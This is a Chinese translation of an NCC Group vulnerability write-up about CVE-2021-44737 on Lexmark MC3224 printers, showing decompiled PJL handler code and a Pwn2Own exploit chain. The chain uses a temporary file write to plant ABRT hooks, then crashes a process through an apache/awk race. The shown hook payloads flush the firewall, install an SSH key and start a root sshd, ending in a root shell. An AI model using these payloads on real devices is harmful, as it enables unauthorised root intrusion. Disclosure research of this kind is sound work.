利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的RCE - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的RCE

fanyeee 技术 2022-03-08 11:55:00
161876
收藏

导语:在本文中,我们将为读者详细介绍如何利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的远程代码执行。

2021年10月,我们的研究人员发现了一个安全漏洞,并在2021年11月举行的Pwn2Own 2021大赛中成功利用了该漏洞。今年一月,Lexmark公司发布了该漏洞(CVE-2021-44737)的安全补丁。

最初,我们是打算以Lexmark MC3224i打印机为目标的,然而,由于该型号的打印机到处缺货,所以,我们决定买一台Lexmark MC3224dwe打印机作为其替代品。它们的主要区别在于:Lexmark MC3224i型号提供了传真功能,而Lexmark MC3224dwe型号则缺乏该功能。从漏洞分析的角度来看,这意味着两者之间可能有一些差异,至少我们很可能无法利用某些功能。于是,我们下载了两个型号的固件更新,发现它们竟然完全一样,所以,我们决定继续考察Lexmark MC3224dwe——反正我们也没有选择的余地。

就像Pwn2Own所要求的那样,该漏洞可被远程利用,无需经过身份验证,并存在于默认配置中。利用该漏洞,攻击者就能以该打印机的root用户身份远程执行代码。

关于该漏洞的利用过程,具体如下所示:

    1、利用临时文件写入漏洞(CVE-2021-44737),对ABRT钩子文件执行写操作

    2、通过远程方式,令进程发生崩溃,以触发ABRT的中止处理

    3、中止处理将导致ABRT钩子文件中的bash命令被执行

实际上,临时文件写入漏洞位于Lexmark特有的hydra服务(/usr/bin/hydra)中,该服务在Lexmark MC3224dwe打印机上是默认运行的。hydra服务的二进制文件非常大,因为它需要处理各种协议。该漏洞存在于打印机工作语言(PJL)命令中,更具体地说,是在一个名为LDLWELCOMESCREEN的命令中。

我们已经分析并利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但旧版本也可能存在该漏洞。在这篇文章中,我们将详细介绍针对CXLBL.075.272的分析过程,因为CXLBL.075.281是在去年10月中旬发布的,并且我们一直在研究这个版本。

注意:Lexmark MC3224dwe打印机是基于ARM(32位)架构的,但这对漏洞的利用过程并不重要,只是对逆向分析有点影响。

由于该漏洞先是触发了一个ABRT,随后又中止了ABRT,所以,我们将其命名为“MissionAbrt”。

逆向分析

您可以从Lexmark下载页面下载Lexmark固件更新文件,但是,这个文件是加密的。如果您有兴趣了解我们的同事Catalin Visinescu是如何使用硬件黑客技术来获取该固件文件的,请参阅本系列的第一篇文章。

漏洞详细信息

背景知识

正如维基百科所说:

打印机作业语言(PJL)是Hewlett-Packard公司开发的一种方法,用于在作业级别切换打印机语言,以及在打印机和主机之间进行状态回读。PJL增加了作业级别控制,如打印机语言切换、作业分离、环境、状态回读、设备考勤和文件系统命令。

PJL命令如下所示:

@PJL SET PAPER=A4
@PJL SET COPIES=10
@PJL ENTER LANGUAGE=POSTSCRIPT

众所周知,PJL对攻击者来说是非常有用的。过去,一些打印机曾经曝光过允许在设备上读写文件的漏洞。

PRET是这样一款工具:借助于该软件,我们就能在各种打印机品牌上使用PIL(以及其他语言),但它不一定支持所有的命令,因为每个供应商都提供了自己的专有命令。

找到含有漏洞的函数

虽然hydra服务的二进制文件没有提供符号,却提供了许多日志/错误函数,其中包含一些函数名。下面显示的代码是通过IDA/Hex-Rays反编译的代码,因为尚未找到该二进制文件的开放源代码。其中,许多PJL命令由地址为0xFE17C的setup_pjl_commands()函数注册的。这里,我们对LDLWELCOMESCREEN PJL命令非常感兴趣,因为它好像是Lexmark专有的,并且没有找到相应的说明文档。

int __fastcall setup_pjl_commands(int a1)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  pjl_ctx = create_pjl_ctx(a1);
  pjl_set_datastall_timeout(pjl_ctx, 5);
  sub_11981C();
  pjlpGrowCommandHandler("UEL", pjl_handle_uel);
  ...
  pjlpGrowCommandHandler("LDLWELCOMESCREEN", pjl_handle_ldlwelcomescreen);
  ...

当接收到PJL LDLWELCOMESCREEN命令后,0x1012f0处的pjl_handle_ldlwelcomescreen()函数将开始处理该命令。我们可以看到,这个命令使用一个表示文件名的字符串作为第一个参数:

int __fastcall pjl_handle_ldlwelcomescreen(char *client_cmd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  result = pjl_check_args(client_cmd, "FILE", "PJL_STRING_TYPE", "PJL_REQ_PARAMETER", 0);
  if ( result <= 0 )
    return result;
  filename = (const char *)pjl_parse_arg(client_cmd, "FILE", 0);
  return pjl_handle_ldlwelcomescreen_internal(filename);
}

然后,0x10a200处的pjl_handle_ldlwelcomescreen_internal()函数将尝试打开该文件。请注意,如果该文件存在,该函数并不会打开它,而是立即返回。因此,我们只能写还不存在的文件。此外,完整的目录层次结构必须已经存在,以便我们创建文件,同时,我们还需要具有写文件的权限。

unsigned int __fastcall pjl_handle_ldlwelcomescreen_internal(const char *filename)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  if ( !filename )
    return 0xFFFFFFFF;
 
  fd = open(filename, 0xC1, 0777);              // open(filename,O_WRONLY|O_CREAT|O_EXCL, 0777)
  if ( fd == 0xFFFFFFFF )
    return 0xFFFFFFFF;
  ret = pjl_ldwelcomescreen_internal2(0, 1, pjl_getc_, write_to_file_, &fd);// goes here
  if ( !ret && pjl_unk_function && pjl_unk_function(filename) )
    pjl_process_ustatus_device_(20001);
  close(fd);
  remove(filename);
  return ret;
}

下面我们开始考察pjl_ldwelcomescreen_internal2()函数,但请注意,上面的文件最后会被关闭,并然后通过remove()调用完全删除文件名。这意味着我们似乎只能暂时写入该文件。

文件写入原语

现在,让我们分析0x115470处的pjl_ldwelcomescreen_internal2()函数。由于使用了flag == 0选项,因此,pjl_handle_ldlwelcomescreen_internal()函数最终将调用pjl_ldwelcomescreen_internal3()函数:

unsigned int __fastcall pjl_ldwelcomescreen_internal2(
        int flag,
        int one,
        int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
        ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
        int *p_fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  bad_arg = write_to_file == 0;
  if ( write_to_file )
    bad_arg = pjl_getc == 0;
  if ( bad_arg )
    return 0xFFFFFFFF;
  if ( flag )
    return pjl_ldwelcomescreen_internal3bis(flag, one, pjl_getc, write_to_file, p_fd);
  return pjl_ldwelcomescreen_internal3(one, pjl_getc, write_to_file, p_fd);// goes here due to flag == 0
}

我们花了一些时间,来逆向分析0x114838处的pjl_ldwelcomescreen_internal3()函数,以理解其内部机制。这个函数不仅很大,通过反编译得到的代码可读性不是太高,但逻辑仍然很容易理解。

基本上,这个函数负责从客户端读取附加数据,并将其写入前面打开的文件。

客户端数据似乎是由另一个线程异步接收的,并保存到分配给pjl_ctx结构体的内存中。因此,pjl_ldwelcomescreen_internal3()函数每次从pjl_ctx结构体中读取一个字符,并填充0x400字节的堆栈缓冲区。

1、如果接收到0x400字节数据,并且堆栈缓冲区已满,则最终会将这些0x400字节写入以前打开的文件中。然后,它重置堆栈缓冲区,并开始读取更多数据以重复该过程。

2、如果接收到PJL命令的页脚(“@PJL END data”),它将丢弃页脚部分,然后将接收的数据(大小< 0x400字节)写入文件,最后退出。

unsigned int __fastcall pjl_ldwelcomescreen_internal3(
        int was_last_write_success,
        int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
        ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
        int *p_fd)
{
  unsigned int current_char_2; // r5
  size_t len_to_write; // r4
  int len_end_data; // r11
  int has_encountered_at_sign; // r6
  unsigned int current_char_3; // r0
  int ret; // r0
  int current_char_1; // r3
  ssize_t len_written; // r0
  unsigned int ret_2; // r3
  ssize_t len_written_1; // r0
  unsigned int ret_3; // r3
  ssize_t len_written_2; // r0
  unsigned int ret_4; // r3
  int was_last_write_success_1; // r3
  size_t len_to_write_final; // r4
  ssize_t len_written_final; // r0
  unsigned int ret_5; // r3
  unsigned int ret_1; // [sp+0h] [bp-20h]
  unsigned __int8 current_char; // [sp+1Fh] [bp-1h] BYREF
  _BYTE data_to_write[1028]; // [sp+20h] [bp+0h] BYREF
 
  current_char_2 = 0xFFFFFFFF;
  ret_1 = 0;
b_restart_from_scratch:
  len_to_write = 0;
  memset(data_to_write, 0, 0x401u);
  len_end_data = 0;
  has_encountered_at_sign = 0;
  current_char_3 = current_char_2;
  while ( 1 )
  {
    current_char = 0;
    if ( current_char_3 == 0xFFFFFFFF )
    {
      // get one character from pjl_ctx->pData
      ret = pjl_getc(&current_char);
      current_char_1 = current_char;
    }
    else
    {
      // a previous character was already retrieved, let's use that for now
      current_char_1 = (unsigned __int8)current_char_3;
      ret = 1;                                  // success
      current_char = current_char_1;
    }
 
    if ( has_encountered_at_sign )
      break;                                    // exit the loop forever
 
    // is it an '@' sign for a PJL-specific command?
    if ( current_char_1 != '@' )
      goto b_read_pjl_data;
 
    len_end_data = 1;
    has_encountered_at_sign = 1;
b_handle_pjl_at_sign:
 
    // from here, current_char == '@'
    if ( len_to_write + 13 > 0x400 )            // ?
    {
      if ( was_last_write_success )
      {
        len_written = write_to_file(p_fd, data_to_write, len_to_write);
        was_last_write_success = len_to_write == len_written;
        current_char_2 = '@';
        ret_2 = ret_1;
        if ( len_to_write != len_written )
          ret_2 = 0xFFFFFFFF;
        ret_1 = ret_2;
      }
      else
      {
        current_char_2 = '@';
      }
 
      goto b_restart_from_scratch;
    }
b_read_pjl_data:
    if ( ret == 0xFFFFFFFF )                    // error
    {
      if ( !was_last_write_success )
        return ret_1;
 
      len_written_1 = write_to_file(p_fd, data_to_write, len_to_write);
      ret_3 = ret_1;
      if ( len_to_write != len_written_1 )
        return 0xFFFFFFFF;                      // error
      return ret_3;
    }
 
    if ( len_to_write > 0x400 )
      __und(0);
 
    // append data to stack buffer
    data_to_write[len_to_write++] = current_char_1;
    current_char_3 = 0xFFFFFFFF;                // reset to enforce reading another character
                                                // at next loop iteration
 
    // reached 0x400 bytes to write, let's write them
    if ( len_to_write == 0x400 )
    {
      current_char_2 = 0xFFFFFFFF;              // reset to enforce reading another character
                                                // at next loop iteration
      if ( was_last_write_success )
      {
        len_written_2 = write_to_file(p_fd, data_to_write, 0x400);
        ret_4 = ret_1;
        if ( len_written_2 != 0x400 )
          ret_4 = 0xFFFFFFFF;
        ret_1 = ret_4;
        was_last_write_success_1 = was_last_write_success;
        if ( len_written_2 != 0x400 )
          was_last_write_success_1 = 0;
        was_last_write_success = was_last_write_success_1;
      }
      goto b_restart_from_scratch;
    }
  }                                             // end of while ( 1 )
 
  // we reach here if we encountered an '@' sign
  // let's check it is a valid "@PJL END DATA" footer
  if ( (unsigned __int8)aPjlEndData[len_end_data] != current_char_1 )
  {
    len_end_data = 1;
    has_encountered_at_sign = 0;                // reset so we read it again?
    goto b_read_data_or_at;
  }
 
  if ( len_end_data != 12 )                     // len("PJL END DATA") = 12
  {
    ++len_end_data;
b_read_data_or_at:
    // will go back to the while(1) loop but exit at the next
    // iteration due to "break" and has_encountered_at_sign == 1
    if ( current_char_1 != '@' )
      goto b_read_pjl_data;
    goto b_handle_pjl_at_sign;
  }
 
  // we reach here if all "PJL END DATA" was parsed
  current_char = 0;
  pjl_getc(&current_char);                      // read '\r'
  if ( current_char == '\r' )
    pjl_getc(&current_char);                    // read '\n'
 
  // write all the remaining data (len < 0x400), except the "PJL END DATA" footer
  len_to_write_final = len_to_write - 0xC;
  if ( !was_last_write_success )
    return ret_1;
  len_written_final = write_to_file(p_fd, data_to_write, len_to_write_final);
  ret_5 = ret_1;
  if ( len_to_write_final != len_written_final )
    return 0xFFFFFFFF;
  return ret_5;
}

位于0xFEA18处的pjl_getc()函数,用于从pjl_ctx结构体中检索一个字符: 

int __fastcall pjl_getc(_BYTE *ppOut)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  pjl_ctx = get_pjl_ctx();
  *ppOut = 0;
  InputDataBufferSize = pjlContextGetInputDataBufferSize(pjl_ctx);
  if ( InputDataBufferSize == pjl_get_end_of_file(pjl_ctx) )
  {
    pjl_set_eoj(pjl_ctx, 0);
    pjl_set_InputDataBufferSize(pjl_ctx, 0);
    pjl_get_data((int)pjl_ctx);
    if ( pjl_get_state(pjl_ctx) == 1 )
      return 0xFFFFFFFF;                        // error
    if ( !pjlContextGetInputDataBufferSize(pjl_ctx) )
      _assert_fail(
        "pjlContextGetInputDataBufferSize(pjlContext) != 0",
        "/usr/src/debug/jobsystem/git-r0/git/jobcontrol/pjl/pjl.c",
        0x1BBu,
        "pjl_getc");
  }
  current_char = pjl_getc_internal(pjl_ctx);
  ret = 1;
  *ppOut = current_char;
  return ret;
}

0x6595C处的write_to_file()函数只是将数据写入指定的文件描述符:

int __fastcall write_to_file(void *data_to_write, size_t len_to_write, int fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  total_written = 0;
  do
  {
    while ( 1 )
    {
      len_written = write(fd, data_to_write, len_to_write);
      len_written_1 = len_written;
      if ( len_written < 0 )
        break;
      if ( !len_written )
        goto b_error;
      data_to_write = (char *)data_to_write + len_written;
      total_written += len_written;
      len_to_write -= len_written;
      if ( !len_to_write )
        return total_written;
    }
  }
  while ( *_errno_location() == EINTR );
b_error:
  printf("%s:%d [%s] rc = %d\n", "../git/hydra/flash/flashfile.c", 0x153, "write_to_file", len_written_1);
  return 0xFFFFFFFF;
}

从攻击的角度来看,我们所感兴趣的是,如果发送的字节数量超过0x400,超出部分将被写入该文件;如果我们不发送PJL命令的页脚,它将等待我们继续发送更多数据,然后才真正完全删除该文件。

注意:当发送数据时,我们通常需要发送一定的填充数据,以确保其长度为0x400的倍数,这样我们控制的数据才会真正写入文件。

确认临时文件写入是否成功

有几个CGI脚本,可以用来显示文件系统上的文件内容。例如,/usr/share/web/cgi-bin/eventlogdebug_se的内容是:

#!/bin/ash
 
echo "Expires: Sun, 27 Feb 1972 08:00:00 GMT"
echo "Pragma: no-cache"
echo "Cache-Control: no-cache"
echo "Content-Type: text/html"
echo
echo "< HTML >< HEAD >< META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html; charset=UTF-8\" >< /HEAD >< BODY >< PRE >"
echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Retrieved Reports ++++++++++++++++++++++]"
for i in 9 8 7 6 5 4 3 2 1 0; do
         if [ -e /var/fs/shared/eventlog/logs/debug.log.$i ] ; then
                  cat /var/fs/shared/eventlog/logs/debug.log.$i
         fi
done
echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]"
echo ""
echo ""
echo "[++++++++++++++++++++++  Advanced EventLog (AEL) Configurations   ++++++++++++++++++++++]"
rob call applications.eventlog getAELConfiguration n
echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]"
echo "< /PRE >< /BODY >< /HTML >"

因此,我们可以使用之前讨论过的临时文件写入原语,向/var/fs/shared/eventlog/logs/debug.log.1文件中写入大量的字符A。

然后,我们可以通过访问CGI页面,来确认对该文件的写入操作是否成功。

通过测试,我们注意到该文件会在1分钟和1分钟40之间被自动删除,这可能是由于hydra中PJL处理的超时所致。这意味着:我们可以利用这个临时文件原语的时间窗口为60秒。

漏洞的利用

利用崩溃事件处理程序(又称ABRT)

为了找到执行代码的方法,我们花费了大量的时间。直到我们注意到有几个配置文件定义了崩溃发生时要做什么时,我们终于抓住了一个突破口。

$ ls ./squashfs-root/etc/libreport/events.d
abrt_dbus_event.conf      emergencyanalysis_event.conf  rhtsupport_event.conf  vimrc_event.conf
ccpp_event.conf           gconf_event.conf              smart_event.conf       vmcore_event.conf
centos_report_event.conf  koops_event.conf              svcerrd.conf
coredump_handler.conf     print_event.conf              uploader_event.conf

例如,coredump_handler.conf可以用来执行shell命令:

# coredump-handler passes /dev/null to abrt-hook-ccpp which causes it to write
# an empty core file. Delete this file so we don't attempt to use it.
EVENT=post-create type=CCpp
    [ "$(stat -c %s coredump)" != "0" ] || rm coredump

下面介绍ABRT的运行机制:

如果程序开发人员(或包维护人员)需要用到ABRT未收集的某些信息,他们可以编写一个定制的ABRT钩子,为他的程序(包)收集所需的数据。这种钩子可以在问题处理期间的不同时间点运行,这取决于信息的“新鲜”程度。它可以在下列时间点运行:

1.崩溃时

2.当用户决定分析问题时(通常需要运行gdb)

3.在编写本报告时

您所要做的就是创建一个.conf文件,并将其放在/etc/libreport/events.d/中:

EVENT=< EVENT_TYPE > [CONDITIONS]
   < whatever command you like >

这些命令将在当前目录设置为问题目录的情况下执行(例如:/var/spool/abrt/ccpp-2012-05-17-14:55:15-31664目标)。

如果您需要在崩溃时收集数据,则需要创建一个作为post-create事件运行的钩子。

警告:post-create事件以root权限运行!

通过上面的介绍,我们可以确定必须创建一个post-create事件,并且我们知道如果/当一个崩溃事件实际上由ABRT处理时,它将以root权限去执行。

触发进程崩溃

实际上,导致进程崩溃的方法有很多种,它们似乎都会导致蓝屏死机(BSOD),然后,打印机将重新启动:

1.png

这样的进程崩溃足以触发ABRT行为。一旦我们触发了这样的进程崩溃,abrtd就会触发控制文件的post-create事件。通过启动我们自己的进程(例如netcat、ssh),该进程就永远不会返回,这样就可以避免崩溃处理过程继续进行,从而避免BSOD。

另外,我们可以利用awk中的一个漏洞来触发崩溃。如果打印机上使用的awk版本相当旧,那么,其中可能会存在一些新版本上并不存在的漏洞。比如,如果在设备上用awk命令来处理一个并不存在的文件,则会触发无效的free()函数:

# awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' /tmp/doesnt_exist
free(): invalid pointer
Aborted

为了远程触发它,我们滥用了apache2中的一个竞态条件漏洞;相关的配置包含以下内容:

ErrorLog "|/usr/sbin/rotatelogs -L '/run/log/apache_error_log' -p '/usr/bin/apache2-logstat.sh' /run/log/apache_error_log.%Y-%m-%d-%H_%M_%S 32K"

以上配置将触发每生成32KB日志的日志轮换,生成的日志文件具有唯一的名称,但最低时间粒度以秒。因此,如果生成的HTTP日志足够多,以至于在一秒钟内发生两次轮换,那么,apache2-logstat.sh的两个实例可能会同时解析同名的文件。在apache2-logstat.sh中,我们可以看到以下内容:

#!/bin/sh
file_to_compress="${2}"
path_to_logs="/run/log/"
compress_exit_code=0
to_restart=0
 
rm -f "${path_to_logs}"apache_error_log*.tar.gz
if [[ "${file_to_compress}" ]]; then
    echo "Compressing ${file_to_compress} ..."
    tar -czf "${file_to_compress}.tar.gz" "${file_to_compress}"
    compress_exit_code=${?}
    if [[ ${compress_exit_code} == 0 ]]; then
        echo "File ${file_to_compress} was compressed."
        echo "Check apache server status if needed to restart"
        to_restart=$(awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' "${file_to_compress}")
        if [ $to_restart -gt "5" ]
        then
            echo "Time to restart apache .."
            rm -f "${path_to_logs}"apache_error_log*
            systemctl restart apache2
        fi
        rm -rf "${file_to_compress}"
    else
        echo "Error compressing file ${file_to_compress} (tar exit code: ${compress_exit_code})."
    fi
fi
 
exit ${compress_exit_code}

上面的file_to_compress是根据前面显示的ErrorLog行生成的apache错误日志文件。成功压缩文件后,将对该文件运行awk命令,以确定是否应该重新启动apache,否则将删除该文件。当这个脚本的多个实例同时运行时,就会触发竞态条件:其中一个脚本从磁盘上删除日志文件,而另一个脚本则在已不存在的文件上运行awk,从而导致代码崩溃。

实际上,只要向设备发送大量HTTP数据,就可以触发这个崩溃现象。

虽然这里通过awk崩溃来触发代码执行,但任何远程预授权的崩溃都应该是可用的,只要它能触发ABRT运行即可。

小结

首先,我们使用临时文件写入原语创建/etc/libreport/events.d/abort_edg.conf文件,其中包含以下文件(由于前面解释过的原因,我们需要用大量空格进行填充):

EVENT=post-create /bin/ping 192.168.1.7 -c 4
        iptables -F
        /bin/ping 192.168.1.7 -c 4

然后,通过触发进程崩溃,进而触发ABRT执行我们的上述命令;接着,使用ping命令来确认每个中间命令的执行时间。之后,使用Wireshark确认收到了8个ping数据包。然后,通过连接通常被防火墙阻止的打印机上的某些侦听服务,来确认防火墙已成功禁用。

下面的ABRT钩子文件用于禁用防火墙,配置并启动SSH:

EVENT=post-create iptables -F
    /bin/rm /var/fs/security/ssh/ssh_host_key
    mkdir /var/run/sshd || echo foo
    /usr/bin/ssh-keygen -b 256 -t ecdsa -N '' -f /var/fs/security/ssh/ssh_host_key
    echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBABl6xVq6dGu40kDyxwjlMw7sxq4JGhVdc4hvDlDPPhzmAyEBkUWZOPRsLcWYm5kDJN6zFPTS0a4KNbx56qICwkyGAHfRv/+lVMxO2BEPJyYUUdpRC3qmUx0xy3GlgpOUUl90LgiifwcO6UI0P4l+UsewOrDdP6ycuklzJCaa7jLlPkMjQ==" > /var/fs/security/ssh/authorized
    /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key
    while true; /bin/ping 192.168.1.7 -c 4; sleep 10; done

下面是exploit代码的运行情况:

$ ./MissionAbrt.py -i 192.168.1.4
(13:20:01) [*] [file creation thread] running
(13:20:01) [*] Waiting for firewall to be disabled...
(13:20:01) [*] [file creation thread] connected
(13:20:01) [*] [file creation thread] file created
(13:20:01) [*] [crash thread] running
(13:20:09) [*] Firewall was successfully disabled
(13:20:09) [*] [crash thread] done
(13:20:10) [*] [file creation thread] done
(13:20:10) [*] All threads exited
(13:20:10) [*] Waiting for SSH to be available...
(13:20:10) [*] Spawning SSH shell
Line-buffered terminal emulation. Press F6 or ^Z to send EOF.
 
id
ABRT has detected 1 problem(s). For more info run: abrt-cli list
root@XXXXXXXXXXXXXX:~# id
uid=0(root) gid=0(root) groups=0(root)
root@XXXXXXXXXXXXXX:~#

我们可以看到,现在已经通过abrtd启动了sshd:

root@XXXXXXXXXXXXXX:~# ps -axjf
...
   1  772  772  772 ?           -1 Ssl      0   0:00 /usr/sbin/abrtd -d -s
 772 2343  772  772 ?           -1 S        0   0:00  \_ abrt-server -s
2343 2550  772  772 ?           -1 SN       0   0:00      \_ /usr/libexec/abrt-handle-event -i --nice 10 -e post-create -- /var/fs/shared/svcerr/abrt/ccpp-2021-10-20-07:06:21-2117
2550 2947  772  772 ?           -1 SN       0   0:00          \_ /bin/sh -c echo 'mission abort!'             iptables -F             echo 'mission abort!'             /bin/rm /var/fs/security/ssh/ssh_host_key             echo 'mission a
2947 2952  772  772 ?           -1 SN       0   0:00              \_ /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key
2952 3107 3107 3107 ?           -1 SNs      0   0:00                  \_ sshd: root@pts/0
3107 3109 3109 3109 pts/0     3128 SNs      0   0:00                      \_ -sh
3109 3128 3128 3109 pts/0     3128 RN+      0   0:00                          \_ ps -axjf

Pwn2Own参赛感想

在参加Pwn2Own大赛时,我们的第一次尝试利用该漏洞的过程中,由于一个未知的SSH错误而失败了,而我们在自己的测试环境中并没有遇到这种情况。我们可以看到,我们的命令的确被执行了(防火墙被禁用,SSH服务器被启动/并且可达),但它不允许我们连接。在参赛之前,在我们的漏洞利用代码的开发过程中,我们还测试过netcat payload,所以,我们决定在第二次尝试时启动这两个payload,结果大获成功。这表明,在参加Pwn2Own比赛时,拥有备份计划是多么重要!

本文翻译自:https://research.nccgroup.com/2022/02/18/analyzing-a-pjl-directory-traversal-vulnerability-exploiting-the-lexmark-mc3224i-printer-part-2/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务